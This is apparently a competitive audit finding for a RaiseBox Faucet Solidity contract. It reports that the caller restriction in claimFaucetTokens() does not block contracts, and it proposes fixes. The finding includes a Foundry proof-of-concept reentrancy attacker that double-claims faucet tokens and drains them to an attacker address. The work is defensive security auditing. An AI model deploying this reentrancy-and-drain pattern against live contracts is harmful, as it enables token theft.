Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
Submission Details
Impact: medium
Likelihood: medium

Caller restriction in `claimFaucetTokens()` does not block arbitrary contracts

Author Revealed upon completion

Description

  • The faucet intends to limit who can call claimFaucetTokens(). The revert name RaiseBoxFaucet_OwnerOrZeroOrContractAddressCannotCallClaim implies that contract callers should be blocked, allowing only EOAs (regular users) to claim.

  • The actual check does not verify whether msg.sender is a contract. It only rejects the zero address, the faucet itself, and the owner. As a result, any arbitrary contract can call and automate claims, including reentrant or farming contracts.

function claimFaucetTokens() public {
faucetClaimer = msg.sender;
// ...
if (
faucetClaimer == address(0) ||
faucetClaimer == address(this) ||
faucetClaimer == Ownable.owner()
) {
// @> Misleading error name suggests contracts are blocked,
// @> but there is no check for contract code.
revert RaiseBoxFaucet_OwnerOrZeroOrContractAddressCannotCallClaim();
}
// ...
}

Risk

Likelihood: High

  • Whenever a bot or smart contract calls claimFaucetTokens(), the function does not detect it as a contract and allows the call to proceed.

  • Operationally, this will occur routinely in adversarial environments where users deploy simple helpers to automate or scale faucet interactions.

Impact: Medium

  • Automated farming: Scripts and on-chain bots can coordinate repeated claims (across many contracts), reducing fairness and exhausting faucet resources faster than intended.

  • Automated farming: Scripts and on-chain bots can coordinate repeated claims (across many contracts), reducing fairness and exhausting faucet resources faster than intended.

Proof of Concept

  • This is my POC from another report, which demonstrates the reentrancy attack (therefore, call from another contract is possible)

  • In the test directory create file PocReent.t.sol

  • Copy bellow code and run forge test --match-path PocReent

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;
import {Test} from "../lib/lib/forge-std/src/Test.sol";
import {RaiseBoxFaucet} from "../src/RaiseBoxFaucet.sol";
import {DeployRaiseboxContract} from "../script/DeployRaiseBoxFaucet.s.sol";
contract ReentrancyAttacker {
RaiseBoxFaucet public faucet;
uint256 public reenters; // guard to ensure exactly one reentry
address public tokenSink; // attacker's EOA to receive tokens from this contract
constructor(RaiseBoxFaucet _faucet, address _sink) {
faucet = _faucet;
tokenSink = _sink;
}
// Initiates the first (normal) claim
function attack() external {
// Precondition: this address has never claimed ETH from faucet, and faucet has ETH & tokens
faucet.claimFaucetTokens(); // ETH is sent -> triggers receive() -> reenter
// After tx: this contract will have received TWO token drips
}
// ETH drip to first-time claimers triggers this, enabling reentry
receive() external payable {
if (reenters == 0) {
reenters = 1;
// Reenter before faucet updates lastClaimTime/dailyClaimCount
faucet.claimFaucetTokens(); // second token drip in same transaction
}
// No further reentry: hasClaimedEth is now true, so subsequent calls won't send ETH
}
// Draining tokens to an attacker's EOA
function drainTokens() external {
require(tokenSink != address(0), "no token sink");
uint256 balance = faucet.balanceOf(address(this));
require(balance > 0, "no tokens to drain");
faucet.transfer(tokenSink, balance);
}
}
contract TestPocReent is Test {
RaiseBoxFaucet raiseBoxFaucet;
DeployRaiseboxContract raiseBoxDeployer;
address attacker = address(0xBEEF);
ReentrancyAttacker attackerContract;
function setUp() public {
raiseBoxDeployer = new DeployRaiseboxContract();
raiseBoxDeployer.run();
raiseBoxFaucet = raiseBoxDeployer.raiseBox();
vm.deal(address(raiseBoxFaucet), 10 ether); // Fund the faucet with ETH
vm.prank(attacker);
attackerContract = new ReentrancyAttacker(
raiseBoxFaucet,
attacker
);
// Advance time to ensure the faucet is ready for claims
vm.warp(3 days);
}
function testDoubleTokenDripIsPossibleWithAttack() public {
uint256 initialAttackerTokenBalance = raiseBoxFaucet.getBalance(
address(attackerContract)
);
assertEq(
initialAttackerTokenBalance,
0,
"attacker should start with 0 test tokens"
);
vm.prank(attacker);
attackerContract.attack();
uint256 finalAttackerTokenBalance = raiseBoxFaucet.getBalance(
address(attackerContract)
);
assertEq(
finalAttackerTokenBalance,
2 * raiseBoxFaucet.faucetDrip(),
"attacker should have received double amount of test tokens"
);
}
function testDoubleTokenDripFailsWithoutAttack() public {
uint256 initialAttackerTokenBalance = raiseBoxFaucet.getBalance(
address(attacker)
);
assertEq(
initialAttackerTokenBalance,
0,
"attacker should start with 0 test tokens"
);
vm.startPrank(attacker);
raiseBoxFaucet.claimFaucetTokens();
vm.expectRevert();
raiseBoxFaucet.claimFaucetTokens();
vm.stopPrank();
uint256 finalAttackerTokenBalance = raiseBoxFaucet.getBalance(
address(attacker)
);
assertEq(
finalAttackerTokenBalance,
raiseBoxFaucet.faucetDrip(),
"attacker should have received normal amount of test tokens"
);
}
}

Recommended Mitigation

  • If contracts should be allowed:
    Rename the error to something accurate (e.g., OwnerOrZeroOrSelfCannotClaim) and remove misleading comments.

  • If contracts should be blocked (EOA-only, with caveats):
    Add an explicit code-size or tx.origin check (note: these approaches block multisigs, smart wallets, and can be bypassed in some advanced patterns).

function claimFaucetTokens() public {
- if (
- faucetClaimer == address(0) ||
- faucetClaimer == address(this) ||
- faucetClaimer == Ownable.owner()
- ) {
- revert RaiseBoxFaucet_OwnerOrZeroOrContractAddressCannotCallClaim();
- }
+ // Keep owner/self/zero checks if desired
+ if (msg.sender == address(0) || msg.sender == address(this) || msg.sender == owner()) {
+ revert RaiseBoxFaucet_OwnerOrZeroOrSelfCannotClaim();
+ }
+
+ // Optional (strict EOA-only; blocks multisigs/smart wallets; still has limitations):
+ // require(msg.sender == tx.origin, "Contracts not allowed");
+ // or a code-size check:
+ // require(msg.sender.code.length == 0, "Contracts not allowed");
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.